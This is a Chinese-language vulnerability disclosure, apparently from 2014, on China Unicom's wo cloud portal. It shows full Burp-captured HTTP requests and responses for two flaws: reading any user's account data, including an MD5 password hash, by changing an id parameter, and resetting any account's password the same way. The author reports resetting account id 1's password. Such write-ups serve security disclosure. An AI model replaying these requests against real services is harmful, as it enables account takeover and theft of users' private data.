中国联通某服务配置不当 上千台服务器可被控制，几十G的带宽，几百G的内存，几千G的存储岌岌可危。
上次找了个电信云平台的漏洞这回我们来个联通的。
http://www.wocloud.cn/
我们打开联通 wo 云平台，注册一个新的账户。咦停止注册了? 我们按 F12 打开 Chrome 的调试工具。
可以看到，注册的按钮只是加了个 disable 属性禁用了，我们把这个属性去掉，就可以成功提交表单注册了。
我们登录注册好的帐号，进入个人中心的修改密码处 http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd
通过抓包，我们发现了两处漏洞:
1.读取任意账户信息，包括登录密码
我们使用Burp抓包，
POST /portal/pr/client?p=/user/describeUsersInfo HTTP/1.1
Host: www.wocloud.cn
Proxy-Connection: keep-alive
Content-Length: 6
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.wocloud.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A
id=598
(此处post的数据"id"为用户编号）
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 Feb 2014 04:38:11 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 436
Connection: keep-alive
{"data":[{"name":"crtest","id":598,"state":4,"comment":null,"password":"ece42545aeef94653dd1b04571e993a2","position":null,"token":null,"email":"crtest@yopmail.com","account":"crtest","phone":"","mobile":"13599052222","compId":0,"roleId":1,"checkCode":"","compOrgCode":null,"compAddress":null,"compPhone":null,"compFax":null,"compEmail":null,"postCode":null,"deptId":1,"approve":0,"fax":null,"compName":null}],"code":"0","msg":"success"}
可以看到，返回的数据中包括md5加密过的密码(crtest01)，用户注册时的邮箱、手机号、姓名以及公司信息等。经测试可知，共有600多位用户。通过修改id，我们可以轻易得到任意用户的帐号、密码等隐私信息。
2.平行权限修改任意账户密码
我们使用Burp抓包，
POST /portal/pr/client?p=/user/modifyUser HTTP/1.1
Host: www.wocloud.cn
Proxy-Connection: keep-alive
Content-Length: 24
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.wocloud.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://www.wocloud.cn/portal/jsp/user/changePwd.jsp?code=pwd
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=7A2764D84984D3E634A6B3E45FC7BD2A
id=598&password=crtest01
此处id对应待修改的用户的id。password则为新密码。
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 10 Feb 2014 04:48:21 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 76
Connection: keep-alive
{"data":{"data":null,"code":"0","msg":"success"},"code":"0","msg":"success"}
经测试可知，通过修改此处的id，我们可以轻易修改任意账户的登录密码。
这里我们将id为1的帐号密码修改为wooyun进行测试。
